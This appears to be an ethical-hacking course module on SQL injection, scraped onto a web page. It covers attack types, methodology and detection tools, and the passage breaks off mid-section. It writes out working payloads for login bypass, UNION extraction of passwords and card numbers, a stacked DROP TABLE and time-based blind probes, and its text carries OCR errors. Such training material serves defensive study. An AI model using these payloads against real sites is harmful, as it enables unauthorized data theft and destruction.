What is Sql injection | Sql injection Example | sql injection attack





Module Objectives

SQL injection is the most common and devastating attack that attackers can launch to take control of a website. Attackers use various tricks and techniques to compromise data-driven web applications, and these attacks incur huge losses to the organization in terms of money, reputation, and loss of data and functionality. This module will discuss SQL injection attacks as well as tools and techniques attackers use to perform them.

At the end of this module, you will be able to perform the following:

■    Describe the SQL injection concepts

■    Perform various types of SQL injection attacks

 ■    Describe SQL injection methodology

■    Use different SQL injection tools

■    Explain different IDS evasion techniques 

■  Apply SQL injection countermeasures

 ■    Use different SQL injection detection tools


SQL Injection Concepts

This section discusses basic concepts of SQL injection attacks and their intensity. It starts with the introduction of SQL injection and real-time statistics on SQL injection attacks, followed by some examples of SQL injection attacks.]

What is SQL Injection?

Structured Query Language (SQL) is a textual language used by a database server. SQL commands used to perform operations on the database include INSERT, SELECT, UPDATE, and DELETE. Programmers use these commands to manipulate data in the database server.

Programmers use sequential SQL commands with client-supplied parameters, making it easier for attackers to inject commands. SQL injection is a technique used to take advantage of unsanitized input vulnerabilities to pass SQL commands through a web application for execution by a backend database. In this technique, the attacker injects malicious SQL queries into the user input form either to gain unauthorized access to a database or to retrieve information directly from the database. It is a flaw in web applications and is not an issue with the database or the web server.

SQL injection attacks use a series of malicious SQL queries or SQL statements to directly manipulate the database. Applications often use SQL statements to authenticate users to the application, validate roles and access levels, store, obtain information for the application and user, and link to other data sources. The reason why SQL injection attacks work is that the application does not properly validate input before passing it to a SQL statement.

Why Bother about SQL Injection?

SQL injection is an alarming issue for all database-driven websites. An attack can be attempted on any normal website or software package on the basis of how it is used and how it processes user-supplied data. SQL injection can be used to implement the attacks mentioned below:

■ Authentication Bypass: Using this attack, an attacker logs onto an application without providing valid username and password and gains administrative privileges.


■    Information Disclosure: Using this attack, an attacker obtains sensitive information that is stored in the database.

■    Compromised Data Integrity: An attacker uses this attack to deface a web page, insert malicious content into web pages, or alter the contents of a database.

■    Compromised Availability of Data: Attackers use this attack to delete the database information, delete log, or audit information that is stored in a database.

■    Remote Code Execution: It assists an attacker to compromise the host OS.

SQL Injection and Server-side Technologies

Powerful server-side technologies such as ASP.NET and database servers allow developers to create dynamic, data-driven websites and web applications with incredible ease. These technologies implement business logic on the server side, which then serve incoming requests from clients. Server-side technology smoothly accesses, delivers, stores, and restores information. Various server-side technologies include ASP, ASP.Net, Cold Fusion, JSP, PHP, Python, Ruby on Rails, and so on. Some of these technologies are prone to SQL injection vulnerabilities, and applications developed using these technologies are vulnerable to SQL injection attacks. Web applications use various database technologies as a part of their functionality. Some relational databases used in developing web applications include Microsoft SQL Server, Oracle, IBM DB2, and the open-source MySQL. Developers sometimes unknowingly neglect secure coding practices when using these technologies, which makes the applications and relational databases vulnerable to SQL injection attacks. These attacks do not exploit a specific software's vulnerability, instead they target websites and web applications that do not follow secure coding practices for accessing and manipulating data stored in a relational database.

Understanding HTTP POST Request

HTTP POST request is one of the methods to carry the requested data to the web server. Unlike the HTTP GET method, HTTP POST Request carries the requested data as a part of the message body. Thus, it is considered more secure than HTTP GET. HTTP POST requests can also pass large amounts of data to the server. They are ideal in communicating with an XML web service. These methods submit and retrieve data from the webserver.

When a user provides information and clicks Submit, the browser submits a string to the web server that contains the user's credentials. This string is visible in the body of the HTTP or HTTPS POST request as

select * from Users where (username = 'smith' and password = 'simpson');


Understanding Normal SQL Query

A query is an SQL command. Programmers write and execute SQL code in the form of query statements. SQL queries include data selection, data retrieval, inserting/updating data, and creating data objects like databases and tables. Query statements begin with a command such as SELECT, UPDATE, CREATE, or DELETE. Queries are used in server-side technologies to communicate with an application's database. A user request supplies parameters to replace placeholders that may be used in the server-side language. From this, a query is constructed and then executed to fetch data or perform other tasks on the database. The above diagram depicts a typical SQL query. It is constructed with user-supplied values, and upon execution, it displays results from the database.


Understanding an SQL Injection Query

An SQL injection query exploits the normal execution of SQL. An attacker submits a request with values that will execute normally but will return data from the database that attacker wants. The attacker is able to submit these malicious values because of the inability of the application to filter them before processing. If the values submitted by the users are not properly validated, then there is a potential for an SQL injection attack on the application.

An HTML form that receives and passes information posted by the user to the Active Server Pages (ASP) script running on an IIS web server is the best example of SQL injection. The information passed is the username and password. To create an SQL injection query, an attacker may submit the following values in application input fields, such as the username and password field.

Username: Blah' or 1=1 — Password: Springfield

As  a  part of normal execution  of query, these input values  will replace  placeholders, and the query will appear as follows:

SELECT    Count(*)    FROM    Users    WHERE    UserName='Blah'    or    1=1    —’    AND    Password^ Springfield';

A close examination of this query reveals that the condition in the where clause will always be true. This query successfully executes as there is no syntax error, and it does not violate the normal execution of the query. The above diagram depicts a typical SQL injection query.


Understanding an SQL Injection Query—Code Analysis

Code analysis or code review is the most effective technique in identifying vulnerabilities or flaws in the code. An attacker exploits the vulnerabilities found in the code to get an access to the database. The process by which an attacker logs into an account is as follows:

1.   A user enters a username and password that matches a record in the user's table

2.   A dynamically generated SQL query is used to retrieve the number of matching rows

3.   The user is then authenticated and redirected to the requested page

4.   When the attacker enters blah' or 1=1 - then the SQL query will look like:

SELECT Count (*) FROM Users WHERE UserName='blah' Or 1=1 —' AND Password=''

5.   A pair of hyphens designate the beginning of a comment in SQL; therefore, the query simply becomes

SELECT Count(*) FROM Users WHERE UserName='blah' Or 1=1

string strQry = "SELECT Count(*) FROM Users WHERE UserName='" + txtUser.Text + AND Password^" + txtPassword.Text +


BadProductList. aspx

The page shown in the figure above is a hacker's paradise, because it allows the astute hacker to hijack it and obtain confidential information, change data in the database, damage the database records, and even create new database user accounts. Most SQL-compliant databases, including SQL Server, store metadata in a series of system tables with the names sysobjects, syscolumns, sysindexes, and so on. This means that a hacker could use the system tables to acquire database schema information to further compromise the database. For example, the following text entered into the txtFilter textbox may reveal the names of the user tables in the database:

UNION SELECT id, name, ”, 0 FROM sysobjects WHERE xtype = 'U’ —

The UNION statement in particular is useful to a hacker because it splices the results of one query into another. In this case, the hacker has spliced the names of the Users table in the database to the original query of the Products table. The only trick is to match the number and data types of the columns to the original query. The previous query might reveal that a table named Users exists in the database. A second query could reveal the columns in the Users table. Using this information, the hacker might enter the following into the txtFilter textbox:

UNION SELECT 0, UserName, Password, 0 FROM Users —

Entering this query reveals the usernames and passwords found in the Users table.

The page given above displays products from the Northwind database and allows users to filter the resulting list of products using a textbox called txtFilter. Like the previous example (BadLogin.aspx), this code is vulnerable to SQL injection attacks. The executed SQL is constructed dynamically from a user-supplied input.


Example of a Web Application Vulnerable to SQL Injection: Attack Analysis

Most websites provide a search functionality to facilitate finding a specific product or service quickly. A separate Search field kept on the website in an area that is easily viewable. Like any other input fields, attackers target this field to perform SQL injection attacks. An attacker enters specific input values in the Search field in an attempt to perform an SQL injection attack.

Types of SQL Injection

Attackers use various tricks and techniques to view, manipulate, insert, and delete data from an application's database. Depending on the technique used, SQL injection attacks may be any of several types. This section discusses types of SQL injection attacks. Attackers use SQL injection attacks in many different ways by poisoning the SQL query.


In an SQL injection attack, the attacker injects malicious code through an SQL query that can read sensitive data and even can modify (insert/update/delete) it.

There are three main types of SQL injection:

■ In-band SQL Injection: An attacker uses the same communication channel to perform the attack and retrieve the results. In-band attacks are commonly used and easy-to- exploit SQL injection attacks. Most commonly used in-band SQL injection attacks are error-based SQL injection and UNION SQL injection.

■ Blind/lnferential SQL Injection: In blind/inferential injection, the attacker has no error messages from the system with which to work. Instead, the attacker simply sends a malicious SQL query to the database. This type of SQL injection takes longer time to execute because the result returned is generally in the form of boolean. Attackers use the true or false results to know the structure of the database and the data. In case of inferential SQL injection, no data is transmitted through the web application, and it is not possible for an attacker to retrieve the actual result of the injection; therefore, it is called blind SQL injection.

■ Out-of-Band SQL Injection: Attackers use different communication channels (such as database email functionality, or file writing and loading functions) to perform the attack and obtain the results. This type of attack is difficult to perform because the attacker needs to communicate with the server and acquire features of the database server used by the web application.

In-Band SQL Injection

In in-band SQL injection, attackers use same communication channel to perform the attack and retrieve the results. Depending on the techniques used, in-band SQL injection attacks may be any of several types but most commonly used in-band SQL injection attacks are error-based SQL injection and UNION SQL injection.

Following are the different types of in-band SQL injection: ■    Error-Based SQL Injection

Attackers intentionally insert bad input into an application causing it to throw database errors. The attacker reads the database-level error messages that result in order to find an SQL injection vulnerability in the application. Based on this, the attacker then injects SQL queries that are specifically designed to compromise the data security of the application. This is very useful to build a vulnerability exploiting request.

■   System Stored Procedure

The risk of executing a malicious SQL query in a stored procedure increases if the web application does not sanitize the user inputs used to dynamically construct SQL statements for that stored procedure. An attacker may use malicious input to execute the malicious SQL statements in the stored procedure. Attackers exploit databases' stored procedures to perpetrate their attacks.

For example,

If the attacker enters the following inputs in the application input fields using the above stored procedure running in the backend, the attacker will able to login with any password.

User input: anyusername or 1=1' anypassword ■    lllegal/Logically Incorrect Query

An attacker may gain knowledge by injecting illegal/logically incorrect requests such as injectable parameters, data types, names of tables, and so on. In this SQL injection attack, an attacker sends an incorrect query to the database intentionally to generate an error message that may be helpful in performing further attacks. This technique may help an attacker to extract the structure of the underlying database.

For  example,  to  find  the  column  name,  an  attacker  may  give  the  following  malicious input:

Username: 'Bob"

The resultant query will be

SELECT * FROM Users WHERE UserName = 'Bob'" AND password =

After executing the above query, the database may return the following error message: "Incorrect Syntax near 'Bob'. Unclosed quotation mark after the character string " AND Password='xxx"."

■    UNION SQL Injection

"UNION SELECT" statement returns the union of the intended dataset with the target dataset. In a UNION SQL injection, an attacker uses a UNION clause to append a malicious query to the requested query, as shown in the following example:

SELECT  Name,  Phone,  Address  FROM  Users  WHERE  Id=l  UNION  ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

The attacker checks for the UNION SQL Injection vulnerability by adding a single quote character (') to the end of a ".php? id=" command. The type of error message received will tell the attacker if the database is vulnerable to a UNION SQL injection.

■   Tautology

In a tautology-based SQL injection attack, an attacker uses a conditional OR clause in such a way that the condition of the WHERE clause will always be true. It can be used to bypass user authentication.

For example,

SELECT * FROM users WHERE name = '' OR 'l' = 'l';

This query will always be true, as the second part of the OR clause is always true. ■    End-of-Line Comment

In this type of SQL injection, an attacker uses Line comments in specific SQL injection inputs. Comments in a line of code are often denoted by (--), are ignored by the query. An attacker takes advantage of this commenting feature by writing a line of code that ends in a comment. The database will execute the code until it reaches the commented portion, after which it will ignore the rest of the query.

For example,

SELECT * FROM members WHERE username = 'admin' —' AND password = ' password'

With this query, an attacker will be able to login to an admin account without the password, as the database application will ignore the comments that begin right after username = 'admin.

■    In-line Comments

Attackers simplify an SQL injection attack by integrating multiple vulnerable inputs into a single query using in-line comments. This type of injections allows an attacker to bypass blacklisting, remove spaces, obfuscate, and determine database versions.

For example,

INSERT   INTO   Users   (UserName,   isAdmin,   Password)   VALUES (  .$username. " ' , 0, '".$password.” •)"

is a dynamic query that prompts the new user to enter username and password. Attacker may provide malicious input as given below.

UserName = Attacker', 1, /* Password = */'mypwd

After injecting  the  malicious  input,  the  generated  query  gives  the attacker administrator privileges


VALUES('Attacker', 1, /*', 0, '*/'mypwd') ■    Piggybacked Query

In Piggybacked SQL injection attack, an attacker injects additional malicious query to the original query. The original query remains unmodified, and the attacker's query is piggybacked on the original query. Due to piggybacking, the DBMS receives multiple SQL queries. Attackers use query delimiter semicolon (;) to separate the queries. After executing the original query, the DBMS recognizes the delimiter and then executes the piggybacked query. This type of attack is also known as Stacked Queries attack. The intention of the attacker is to extract, add, modify, or delete data, remote command execution, or to perform denial of service attack.

For example, the original SQL query is as given below.

SELECT * FROM EMP WHERE EMP.EID = 1001 AND EMP. ENAME = 'Bob'

Now,  the  attacker  concatenates  the  delimiter  (;)  and  malicious  query  to  the  original query as given below.

SELECT * FROM EMP WHERE EMP.EID = 1001 AND EMP.ENAME = 'Bob'; DROP TABLE DEPT;

After executing the first query and returning the resultant database rows, the DBMS recognizes the delimiter and executes the injected malicious query. Consequently, the DBMS drops the table DEPT from the database.

Error Based SQL Injection

Let us understand the details of error-based SQL injection. As discussed earlier, in error-based SQL injection, the attacker forces the database to throw error messages in response to his/her inputs. Later, he/she may analyze the error messages obtained from the underlying database in order to gather useful information that can be used in constructing the malicious query. Attacker uses this type of SQL injection technique when he/she is unable to exploit any other SQL injection techniques directly. The primary goal of this technique is to generate the error message from the database that can be helpful in performing successful SQL injection attack. This exploitation may differ from one DBMS to the other.

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_jproduct Consider the request to a script which executes the query above:

http://www.example.com/product.php?id=10

The malicious request would be (e.g., Oracle lOg): http://www.example.com/product.php?

id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )-

In the aforementioned example, the tester concatenates the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the hostname of the parameter passed to it, which is other query, the name of the user. When the database looks for a hostname with the user database name, it will fail and return an error message like ORA-292257: host SCOTT unknown

Then, the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.


Union SQL Injection

In a UNION SQL injection, an attacker combines a forged query with a query requested by the user by using a UNION clause. The result of the forged query will be joined to the result of the original query which makes it possible to obtain the values of fields from other tables. Before running the UNION SQL injection, the attacker ensures that there are equal number of columns taking part in the UNION query. To find the right numbers of columns, the attacker first launches a query by using an ORDER BY clause followed by a number to indicate the number of database columns selected:

ORDER BY 10—

If the query is executed successfully and no error messages appear, then the attacker will assume that 10 or more columns exist in the target database table. However, if the application displays an error message such as "Unknown column '10' in 'order clause" then the attacker will assume that there are less than 10 columns in the target database table. By performing trial and error, an attacker can learn the exact number of columns in the target database table.

Once the attacker learns the number of columns, the next step is to find the type of columns using a query such as

UNION SELECT l,null,null-

If  the  query  is  executed  successfully,  then  the  attacker  knows  that  first  column  is  of  integer type, and can move on to learn the types of other columns.

Once  the  attacker  finds  the  right  number  columns,  the  next  step  is  to  perform  UNION  SQL injection.

Blind/Inferential SQL Injection

Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. Blind SQL injection is identical to a normal SQL Injection except that when an attacker attempts to exploit an application rather than seeing a useful error message, a generic custom page is displayed. In blind SQL injection, an attacker poses a true or false question to the database to see if the application is vulnerable to SQL injection.

Normal SQL injection attack is often possible when developer uses generic error messages whenever error occurred in the database. This generic message may reveal sensitive information or give path to the attacker to perform SQL injection attack on the application. However, when developers turn off the generic error message for the application, it is quite difficult for the attacker to perform SQL injection attack. However, it is not impossible to exploit such application with SQL injection attack. Blind injection differs from normal SQL injection in a way of retrieving data from the database. Blind SQL injection used either to access the sensitive data or to destroy the data. Attackers can steal the data by asking a series of true or false questions through SQL statements. Results of the injection are not visible to the attacker. This type of attack can become time-intensive because the database should generate a new statement for each newly recovered bit.



No Error Messages Returned

Let us see the difference between error messages obtained when developers use generic error messages and when developers turn off the generic error message and use the custom error message as shown in the figure above.

When an attacker tries to perform an SQL injection with the query "certifiedhacker'; drop table Orders —", two kinds of error messages may be returned. A generic error message may help the attacker to perform SQL injection attacks on the application. However, if the developer turns off the generic error messages, the application will return a custom error message, which is not helpful to the attacker. In this case, the attacker will attempt a blind SQL injection attack instead.

If generic error messaging is in use, the server throws an error message with a detailed explanation of the error, with database drivers and ODBC SQL server details. This information can be used to further perform the SQL injection attack. When custom messaging is in use, the browser simply displays an error message saying that there is an error and the request was unsuccessful, without providing any details. This leaves the attacker with no choice but to try a blind SQL injection attack.

Blind SQL Injection: WAITFOR DELAY (YES or NO Response)

Time Delay SQL injection (sometimes called Time-based SQL injection) evaluates the time delay that occurs in response to true or false queries sent to the database. A waitfor statement stops SQL Server for a specific amount of time. Based on the response, an attacker will extract information such as connection time to the database made as the system administrator or as other users and launch further attacks.

■   Step 1: IF EXISTS(SELECT * FROM creditcard) WAITFOR DELAY '0:0:10'- ■   Step 2: Check if database "creditcard" exists or not

■   Step 3: If No, it displays "We are unable to process your request. Please try back later". ■    Step 4: If Yes, sleep for 10 seconds. After 10 seconds displays "We are unable to process

your request. Please try back later."

Since no error messages will be returned, use the "waitfor delay" command to check the SQL execution status.

WAIT FOR DELAY 'time' (Seconds)

This is just like sleep; wait for a specified time. The CPU is a safe way to make a database wait.

WAITFOR DELAY '0:0:10' — BENCHMARK() (Minutes)

This command runs on MySQL Server.

BENCHMARK(howmanytimes, do this)


Blind SQL Injection: Boolean Exploitation

Boolean-based blind SQL injection (sometimes called inferential SQL Injection) is performed by asking the right questions to the application database. Multiple valid statements that evaluate to true and false are supplied in the affected parameter in the HTTP request. By comparing the response page between both conditions, the attackers can infer if the injection was successful. If the attacker constructs and executes the right request, the database will reveal everything

attacker wants to know, which helps in performing further attacks. In this technique, the

attacker uses a set of Boolean operations to extract information about database tables. The

attacker often uses this technique if it appears that the application is exploitable using a blind SQL injection attack. If the application does not return any default error messages, the attacker tries using Boolean operations against the application.

For example,

The following URL displays the details of an item with id = 67 http: //www.myshop. com/item. aspx?id=67

The SQL query for the above request is,

SELECT Name, Price, Description FROM ITEM_DATA WHERE ITEM_ID = 67 An attacker may manipulate the above request to,

http://www.myshop.com/item.aspx?id=67 and 1=2 Subsequently, the SQL query changes to,

SELECT     Name,     Price,     Description     FROM     ITEM_DATA     WHERE     ITEM_ID     =     67     AND 1=2


If the result of the above query is FALSE and no items will be displayed on the web page. Then the attacker changes the above request to

http ://www .myshop. com/item. aspx?id=67 and 1=1 The corresponding SQL query is,

SELECT Name, Price, Description FROM ITEM_DATA WHERE ITEM_ID = 67 AND

1=1

If the above query returns TRUE, then the details of item with id = 67 are displayed. Hence, from the above result, the attacker concludes that the page is vulnerable to SQL injection attack.

Blind SQL Injection: Heavy Query

In some circumstances, it is impossible to use time delay functions in SQL queries as the database administrator may disable the usage of such functions. In such cases, an attacker can use heavy queries to perform time delay SQL injection attack without using time delay functions. A heavy query retrieves huge amount of data, and it will take huge amount of time to execute on the database engine. Attackers generate heavy queries using multiple joins on system tables because queries on system tables take more time to execute.

For  example,  the  following  is  a  heavy  query  in  Oracle  that  takes  huge  amount  of  time  to execute,

SELECT count(*) FROM all_users A, all_users B, all_users C

If  an  attacker  injects  a  malicious  parameter  to  the  above  query  to  perform  time-based  SQL injection without using functions then it takes the following form,

1     AND     1     <     SELECT     count(*)     FROM     all_users     A,     all_users     B,     all_users     C

The final resultant query takes the form,


Out-of-Baxid SQL injection

Out-of-band SQL injection attacks are difficult to perform because the attacker needs to communicate with the server and acquire features of the database server used by the web application. In this attack, the attacker uses different communication channels (such as database email functionality, or file writing and loading functions) to perform the attack and obtain the results. Attackers use this technique instead of in-band or blind SQL injection, if he/she is unable to use the same channel through which the requests are being made to launch the attack and gather results.

Attackers use DNS and HTTP requests to retrieve data from the database server. For example, in Microsoft SQL Server, an attacker exploits xp_dirtree command to send DNS requests to a server controlled by the attacker. Similarly, in Oracle Database an attacker may use UTL_HTTP package to send HTTP requests from SQL or PL/SQL to a server controlled by the attacker.

SQL Injection Methodology

Earlier sections have described different types of SQL injection techniques. Attackers follow a certain methodology to perform SQL injection attacks in order to ensure that these attacks are successful by analyzing all the possible methods to perform the attack. This section provides insight into the SQL injection methodology, which includes a series of steps for successful SQL injection attacks.


Information Gathering

In the information gathering stage, attackers try to gather information about the target database such as database name, version, users, output mechanism, DB type, user privilege level, and OS interaction level.

Understanding the underlying SQL query will allow the attacker to craft correct SQL injection

statements. Error messages are essential in extracting information from the database. Depending on the type of errors found, an attacker may try different SQL injection attack

techniques. The attacker uses information gathering, also known as the survey and assess method, to determine complete information about the potential target. Attackers learn the kind of database, database version, user privilege levels, and various other things in use.

The attacker usually gathers information at various levels starting with the identification of the database type and the database search engine. Different databases require different SQL syntax. The attacker seeks to identify the database engine used by the server. Identification of the privilege levels is one more step, as there is chance of gaining the highest privilege as an authentic user. The attacker then attempts to obtain the password and compromise the system. Interacting with the OS through command shell execution allows the attacker to compromise the entire network.

Following steps show how to gather information:

1.   Check if the web application connects to a Database Server in order to access some data

2.   List all input fields, hidden fields, and post requests whose values could be used in crafting a SQL query

3.   Attempt to inject codes into the input fields to generate an error


4.   Try to insert a string value where a number is expected in the input field

5.   Use UNION operator to combine the result-set of two or more SELECT statements

6.   Check the detailed error messages for a wealth of information in order to execute SQL injection

Identifying Data Entry Paths

An attacker will search for all the possible input gates of the application through which to try different SQL injection techniques. The attacker may use automated tools such as Tamper Data, Burp Suite, and so on. Input gates may include input fields on the web form, hidden fields, or cookies used in the application to maintain the sessions. The attacker analyzes the web GET and POST requests sent to the target application with the help of tools mentioned above in order to find input gates for SQL injection. The following tools can tamper with GET and POST requests to find input gates.

■   Tamper Data

Source: https ://addons.mozilla.org

This application is an add-on for Mozilla Firefox. It is used to tamper with data, allowing an attacker to view and modify HTTP/HTTPS headers and post parameters.

■    Burp Suite

Source:/) ftps ://ww w. ports wi gger.net

Burp Suite is a web application security testing utility that allows an attacker to inspect and modify traffic between a browser and a target application. Helps attacker to identify vulnerabilities such as SQL injection, XSS, and so on.


Extracting Information through Error Messages

Error messages are essential for extracting information from the database. In certain SQL injection techniques, the attacker forces the application to generate an error message. If developers has used generic error messages for their applications, they may provide useful information to the attacker. In response to the attacker's input to the application, the database may generate an error message about the syntax, and so on. The error message may include information about the OS, database type, database version, privilege level, OS interaction level,

and so on. Based on the type of information obtained from the error message, the attacker chooses an SQL injection technique to exploit the vulnerability in the application. Attackers can get information from error messages through various information-gathering techniques.

Attackers may use the following methods to extract information through error messages:

■    Parameter Tampering

An attacker can tamper with HTTP GET and POST requests to generate errors. The Tamper Data or Burp Suite utilities can manipulate GET and POST requests. Error messages obtained using this technique may give the attacker information such as name of the database server, structure of the directory, and functions used for the SQL query. Parameters can be tampered directly from address bar or by using proxies.

For example,

http://certifiedhacker.com/download.php?id=car

http://certifiedhacker.com/download.php?id=horsehttp://certifiedhacker.com/download.php?id=book

■              Determining Database Engine Type

Determining the database engine type is fundamental to continue with the injection

attack. One of the easiest ways to determine the type of database engine used is to generate ODBC errors which will show you what DB engine you are working with. ODBC error messages reveal the type of database engine used, or help an attacker guess and detect which type of database engine might have been used in the application. An attacker who is unable to obtain an ODBC error can make an educated guess about the database engine, based on the OS and web server used. ODBC errors display the database type as part of the driver information.

■              Determining a SELECT Query Structure

With the error message obtained, an attacker can extract the original structure of the

query used in the application. This allows the attacker to construct a malicious query in order to take control over the original query. To obtain the original query structure, the attacker forces the application to generate application errors that reveal information such as table names, column names, and data types. Attackers inject a valid SQL segment without generating an invalid SQL syntax error for an error-free navigation. Attackers try to replicate an error free navigation by injecting simple inputs such as' and '1' = '1 Or ' and '1' = '2. Attackers use SQL clauses such as group by columnnames having 1=1 - " to determine table and column names.

■              Injections

Most injections will land in the middle of a SELECT statement. In a SELECT clause, we

almost always end up in the WHERE section. For example:

SELECT    *    FROM    table    WHERE    x    =    'normalinput1       group    by    x    having    1=1 — GROUP BY x HAVING x = y ORDER BY x

■    Grouping Error

HAVING command allows to further define a query based on the "grouped" fields. The error message will tell us which columns have not been grouped.

For example:

' group by columnnames having 1=1 — ■   Type Mismatch

Try to insert strings into numeric fields; the error messages will show the data that could not get converted.

For example:

1 union select 1,1, ' text' , 1,1,1 — ' union select 1,1, bigint,1,1,1 —

■    Blind Injection

Use time delays or error signatures to determine extract information. For example:

if condition waitfor delay '0:0:5' —

An attacker uses database-level error messages generated by an application. This is very useful to build a vulnerability exploit request. There is even a chance to create automated exploits, depending on the error messages generated by the database server.

Note:  If  applications  do  not  provide  detailed  error  messages  and  return  a  simple  '500  Server Error' or a custom error page, then attempt blind injection techniques.


SQL Injection Vulnerability Detection

Once the information is gathered, the attacker then tries to look for SQL vulnerabilities in the target web application. For that, the attacker lists all input fields, hidden fields, and post requests on the website and then tries to inject code into the input fields to generate an error.

Testing for SQL Injection

There are standard SQL injection inputs called testing strings used by an attacker to perform SQL injection attacks. The penetration (pen) tester also uses these testing strings to evaluate the security of an application against SQL injection attacks. The table shows various possibilities for each testing string. These testing strings are widely known as a cheat sheet for SQL injection. A pen tester can use this cheat sheet to test for vulnerability to SQL injection.

Note: Check CEHvlO Tools, SQL Injection for comprehensive SQL injection cheat sheet.

Additional Methods to Detect SQL Injection

Listed below are some of the additional methods to detect SQL injection:

■ Function Testing

Function testing is a type of software testing technique, where a software or a system is tested against a set of inputs according to the end user's needs. The output obtained from the inputs are then evaluated and compared with the expected results to see if it conforms the functionality or base requirements of a product.

This testing falls within the scope of black box testing, and as such, should require no knowledge of the inner design of the code or logic. This test checks the security, user interface, database, client/server applications, navigational functions, and overall usability of a component or system.

For example:

http://certifiedhacker/?parameter=123

http://certifiedhacker/?parameter=l'

http://certifiedhacker/?parameter=l'#

http://certifiedhacker/?parameter=l"

http://certifiedhacker/?parameter=l AND 1=1--

http://certifiedhacker/?parameter=l'-

http://certifiedhacker/?parameter=l AND 1=2--

http://certifiedhacker/?parameter=l'/*

http://certifiedhacker/?parameter=l' AND 'l'='l

http://certifiedhacker/?parameter=l order by 1000


It  is  an  adaptive  SQL  injection  testing  technique  used  to  discover  coding  errors  by inputting massive amount of random data and observing the changes in the output.

Fuzz testing (fuzzing) is a black box testing method. It is a quality checking and assurance technique used to identify coding errors and security loopholes in web applications. Huge amounts of random data called 'Fuzz' will be generated by the fuzz testing tools (Fuzzers) and used against the target web application to discover vulnerabilities that can be exploited by various attacks.

Fuzz Testing Tools:

o WSFuzzer (https://www.owasp.org) o WebScarab (https://www.owasp.org) o Burp Suite (https://portswigger.net) o AppScan (https://www.ibm.com) o Peach Fuzzer (https://sourceforge.net)


SQL Injection Black Box Pen Testing

In black box testing, the pen tester does not need to have any knowledge about the network or the system to be tested. The first job of the tester is to find the location and system infrastructure. The tester tries to identify the vulnerabilities of web applications from an attacker's perspective. The tester uses special characters, white space, SQL keywords, oversized requests, and so on to determine the various conditions of the web application.

Steps involved in SQL injection black box pen testing:

■    Detecting SQL Injection Issues

o Send single quotes and double quotes as the input to detect instances where the user input is not sanitized

■    Detecting Input Sanitization

o Use right square bracket (the ] character) as the input data to catch instances where the user input is used as part of an SQL identifier without any input sanitization

■    Detecting Truncation Issues

o Send long strings of junk data, just as you would send strings to detect buffer overruns; this action might throw SQL errors on the page

■    Detecting SQL Modification

o Send long strings of single quote characters (or right square brackets or double quotes)

o These max out the return values from REPLACE and QUOTENAME functions and might truncate the command variable used to hold the SQL statement


Source Code Review to Detect SQL Injection Vulnerabilities

Source code review is a security testing method that involves systematic examination of the source code for various types of vulnerabilities. It is intended to detect and fix security mistakes made by the programmers during the development phase. It is a type of white-box testing usually performed during the implementation phase of the Security Development Lifecycle (SDL). It often helps in finding and removing security vulnerabilities such as SQL injection vulnerabilities, format string exploits, race conditions, memory leaks, buffer overflows, and so on from the application. Automated tools such as Veracode, RIPS, PVS studio, Coverity Code Advisor, Parasoft Test, CAST Application Intelligence Platform (AIP), Klocwork, and so on can perform source code reviews. A pen tester can use these utilities to find security vulnerabilities in application source code. It can also be done manually.

There are two basic types of source code reviews:

■ Static Code Analysis: This type of source code analysis is performed to detect the possible vulnerabilities in source code when the code is not executing, that is, is static. Static source code analysis is performed using techniques such as Taint Analysis, Lexical Analysis, and Data Flow Analysis. There are many automated tools available that can perform static source code analysis.

■ Dynamic Code Analysis: In dynamic source code analysis, the source code of the application is analyzed during execution of the code. Analysis is conducted through steps that involve preparing input data, running a test program launch and gathering the necessary parameters, and analyzing the output data. Dynamic code analysis is capable of detecting SQL injection-related security flaws encountered due to interaction of the code with SQL databases, web services, and so on.


Ethical Hacking and Countermeasures SQL Injection

Listed below are some of the source code analysis tools:

■   Veracode (https://www.veracode.com)

 ■    RIPS (http://rips-scanner.sourceforge.net)

 ■    PVS studio (https://www.viva64.com)

■    Coverity Code Advisor (https://scan.coverity.com) 

■    Parasoft Test (https://www.parasoft.com)

■ CAST Application Intelligence Platform (AIP) (http://www.castsoftware.com)

■    Klocwork (https://www.klocwork.com)

■   SONAR Qu be (https://www.sonarqube.org)

■    Flawfinder (https://www.dwheeler.com)

■    Roslyn Security Guard (https://dotnet-security-guard.github.io)

■    FlexNet Code Insight (https://www.flexera.com)

■    Find Security Bugs (http://find-sec-bugs.github.io)

■    Brakeman (https://brakemanscanner.org)

■    php-reaper (https://github.com)

■   Yasca (http://www.scovetta.com)

■   VisualCodeGrepper (https://sourceforge.net)

■    Microsoft Source Code Analyzer (https://www.microsoft.com)


Testing for Blind SQL Injection Vulnerability in MySQL and MSSQL

An attacker can identify blind SQL injection vulnerabilities just by testing the URLs of a target website.

For example, consider the following URL: shop.com/iterns.php?id=101

The corresponding SQL query is

SELECT * FROM ITEMS WHERE ID = 101

Now, give a malicious input such as 1=0, to perform blind SQL injection shop.com/iterns.php?id=l01 and 1=0

The resultant SQL query is

SELECT * FROM ITEMS WHERE ID = 101 AND 1=0

The above query will always return FALSE because 1 never equals to 0. Now, attackers try to obtain TRUE result by injecting 1=1

shop.com/iterns.php?id=l01 and 1=1 The resultant SQL query is

SELECT * FROM ITEMS WHERE ID = 101 AND 1=1

Finally, the shopping web application returns the original items page. With the above result, an attacker identifies that the above URL is vulnerable to blind SQL injection attack.


Launch SQL Injection Attacks

Once the information gathering and vulnerability detection has been performed, the attacker then tries to perform different types of SQL injection attacks such as error-based SQL injection, union-based SQL injection, blind SQL injection, and so on.


Perform Union SQL Injection

In UNION SQL injection, an attacker uses the UNION clause to concatenate a malicious query with the original query in order to retrieve results from the target database table. An attacker checks for this vulnerability by adding a tick to the end of a ".php? id=" file. If it comes back with a MySQL error, the site is most likely vulnerable to UNION SQL injection. They proceed to use ORDER BY to find the columns, and at the end, they use the UNION ALL SELECT command.

■ Extract Database Name

http://www.certifiedhacker.com/page.aspx?id=l   UNION   SELECT   ALL 1,DB_NAME,3,4—

[DB_NAME] Returned from the server ■    Extract Database Tables

http://www.certifiedhacker.com/page.aspx?id=l   UNION   SELECT   ALL 1,TABLE_NAME,3,4 from sysobjects where xtype=char(85)—

[EMPLOYEE-TABLE] Returned from the server ■    Extract Table Column Names

